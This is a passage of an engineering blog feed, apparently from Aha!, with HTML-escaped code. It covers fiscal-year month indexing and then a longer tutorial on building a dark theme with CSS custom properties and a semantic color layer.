&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  long_fiscal_year_format &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{year}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{(year &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;FY&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{(year &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a few tests and you’ve got yourself a nice simple method for displaying fiscal years.&lt;/p&gt;
&lt;h2&gt;Making sense of the January = 0 confusion&lt;/h2&gt;
&lt;p&gt;We had a really hard time knowing when we were using a zero-based index or a one-based index so we made a few changes to make the code much clearer:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Always use the one-based months in Ruby&lt;/li&gt;
&lt;li&gt;Always use the one-based months in JavaScript&lt;/li&gt;
&lt;li&gt;When we need to use a zero-based month in JavaScript (to create a date for example), first assign it to a variable that ends with index (ex: fiscalMonthIndex), then call the function with that new variable.&lt;/li&gt;
&lt;li&gt;Be generous with comments&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For example, when trying to figure out the fiscal quarter, we could do something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// The fiscalMonth goes from 1 - 12, but date.month() goes from 0 - 11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; fiscalMonthIndex&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.options.fiscalMonth &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (date.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;month&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fiscalMonthIndex) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now there’s very little confusion when using month numbers.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to build a dark theme]]></title><description><![CDATA[So you want to implement a dark theme for your app? All your favorite applications have it and your app should too. But will it be trivial…]]></description><link>https://www.aha.io/engineering/articles/how-to-build-a-dark-theme</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-to-build-a-dark-theme</guid><dc:creator><![CDATA[Jonathan Steel]]></dc:creator><pubDate>Thu, 23 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So you want to implement a dark theme for your app? All your favorite applications have it and your app should too. But will it be trivial or is it as daunting as it seems? Where do you even start?&lt;/p&gt;
&lt;p&gt;You can break the process down into three different phases: choosing the technology you are going to use, building up your color palette, and applying the changes to your site. We went on the same journey at Aha! to add a dark theme to our agile development tool &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt;. Here is an example of what it looks like in action.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/89140db330c29d08acbfd572f473edb7/aha-theme-preview.png&quot; alt=&quot;Aha! light and dark theme&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here is a breakdown of each of those steps.&lt;/p&gt;
&lt;h2&gt;Choosing the technology&lt;/h2&gt;
&lt;p&gt;The first thing you need to do is decide on the underlying CSS technology you are going to use to implement your colors. You might already be using a CSS preprocessor like LESS or SASS, and you might even have some color variables already defined. It seems natural to use these to solve theming, right? Probably not.&lt;/p&gt;
&lt;p&gt;Imagine a simple CSS rule in your app today.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#22863A&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: @textColor;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How would you apply dark mode to this? Intuitively, you would have a second set of color definitions for dark mode.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;/* light_mode.less */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@textColor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: #333;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;/* dark_mode.less */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@textColor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: #999;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this doesn&apos;t help a preprocessor. They compile all your code into CSS in one pass. You would have to do two compilations into two entirely different theme bundles, one with the dark variables and one with light. Additionally, you have to manage downloading and using the proper stylesheet on the client&apos;s browser. Or you could have them download both sets and switch between which is being used, but this would impact performance. None of this is ideal. The next logical step is redefining the rule with an explicit dark mode variable.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@lightTextColor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: #333;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@darkTextColor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: #999;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#22863A&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: @lightTextColor;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;data-theme&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;dark&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: @darkTextColor;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is going to be a huge mess to maintain. The larger your CSS codebase, the more exception rules you have for dark mode.&lt;/p&gt;
&lt;p&gt;So what are you going to do? There is a better way.&lt;/p&gt;
&lt;h3&gt;CSS custom properties&lt;/h3&gt;
&lt;p&gt;CSS custom properties, sometimes known as CSS variables, seem custom-tailored to solve this problem. You simply define a set of variables that have different values depending on the theme.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;root: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --text-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;#333&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --background-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;#fff&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#22863A&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.dark-mode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --text-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;#999&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --background-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;#222&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#22863A&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--text-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  background-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--background-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All you have to do is apply a &lt;code&gt;dark-mode&lt;/code&gt; class to the body and everything will instantly change.&lt;/p&gt;
&lt;p&gt;There are lots of great resources out there for learning how to use CSS custom properties like &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Building your color palette&lt;/h2&gt;
&lt;p&gt;Now that you have settled on the technology, it&apos;s time to write code, right? Almost. Now is the time to really plan ahead and set up a good color design system. Work with the interested parties, such as design and marketing, to come up with a scheme you can all agree on. Lack of consensus now can lead to a huge effort to refactor your colors again in the future. However, if you follow the naming scheme described later in this article, it won&apos;t be so bad even if you totally overhaul your palette. Here is what we came up with at Aha!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/370ae56c95bee93a2246dec2229285cb/palette.png&quot; alt=&quot;Aha! color palette&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are lots of good posts on color naming conventions. Here is a quick summary of the three most common approaches.&lt;/p&gt;
&lt;h3&gt;Semantic naming&lt;/h3&gt;
&lt;p&gt;You could name the colors after their function in the application. The problem with this approach is the number of times you will have to repeat the hex values. You might use the same color for text as you do for borders. Repeating the hex values will inevitably lead to someone creating just one more variable with one more hex code that isn&apos;t in your palette. So this scheme is out for now, but stay tuned, you have not seen the last of semantic naming.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-primary-text: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#333&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-secondary-text: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#999&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-danger: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#f00;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-background: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#fff;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Fun naming&lt;/h3&gt;
&lt;p&gt;You can also give each color a memorable name. Aesthetically, this one takes the cake. But you probably already have enough lists of classes and functions stored in your head already; you don&apos;t need another list to memorize.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-indigo: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#4b0082&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-fire: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#f3ba1c;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-firefly: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#f9f925;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-old-van: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#b6b5b1;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mathematical naming&lt;/h3&gt;
&lt;p&gt;A more mathematical approach is to number the various shades for each hue. It&apos;s not as pretty but it clearly defines the relationship between each variable and is easy to remember. Using a single digit is common and so is using 0-900. Using 0-900 will give you room to expand if you need it in the future and nicely mirrors the font-weight 100-900 scale. This makes it easy for both developers and designers to understand.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-100: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#fae7e1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-200: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#fac0af;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-300: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#faa0a1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-400: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#fa9678;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-500: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#ef8a6c;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-600: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#eb7957;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-700: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#ba4111;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-800: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#992e0b&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-900: &lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;#772507&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s go with mathematical naming.&lt;/p&gt;
&lt;h3&gt;Using custom properties as RGB values&lt;/h3&gt;
&lt;p&gt;One useful trick is to break out your custom properties into two definitions so you can use them in contexts that require hex or RGB values.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--rgb-red-100: 250, 231, 225;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--rgb-red-200: 250, 192, 175;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--rgb-red-300: 250, 160, 161;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-100: rgb(var(--rgb-red-100));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-200: rgb(var(--rgb-red-200));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;--color-red-400: rgb(var(--rgb-red-400));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#22863A&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--color-red-300&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  background-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;rgba&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--rgb-red-300&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0.5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are using a preprocess, it might get a little angry at the &lt;code&gt;rgba(var(&lt;/code&gt; syntax. In LESS you have to escape the value:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#22863A&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  background-color&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: ~&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;rgba(var(--rgb-red-100), 0.5)&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Adding a layer on top of the colors&lt;/h3&gt;
&lt;p&gt;Okay, the design system is now done, right? Nope. There is still more. We haven&apos;t talked about the two different themes yet. This is where semantic naming comes back into the picture. Semantic naming will work as the main interface to your palette, creating a level of abstraction on top of your custom properties created above. This is the magic that will make creating two themes a breeze.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/6bf4b15fd90d639e0fca01c0bce1f2a3/semantic-layer.png&quot; alt=&quot;Semantic color layer&quot;&gt;&lt;/p&gt;
&lt;p&gt;You might ask, why not just invert the color layer and get dark mode for free? The issue with a simple inversion is that different parts of the app do not work well when you simply invert the colors. Here is an example to illustrate something like a card on a plain background.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/cbd17caf5acedf94446190323f746db8/inversion-comparison.png&quot; alt=&quot;Inversion color vs custom coloring per theme&quot;&gt;&lt;/p&gt;
&lt;p&gt;In light mode, darker colors often communicate distance. In the example, the card feels like it sitting on top of the gray background. This sense of depth makes it easier to understand how this card fits in with the rest of the page. If you were to simply invert the colors, the card would be black and the background would be lighter than the card, causing the page to appear to have a large rectangular hole in it. It will look better if you customize the colors in dark mode to give that same sense of depth.&lt;/p&gt;
&lt;p&gt;The semantic layer solves this issue by allowing you to subjectively customize elements on the page between the two themes. The amazing part of using this two-tier scheme is that extending to a third theme or even a custom one will be trivial. It is also much easier to choose the proper color custom property when designing and developing because the names clearly define which one you should use in a particular context.&lt;/p&gt;
&lt;p&gt;This is what it will look like all combined.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;root: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --rgb-red-100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;250&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;231&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;225&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --rgb-red-200&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;250&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;175&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
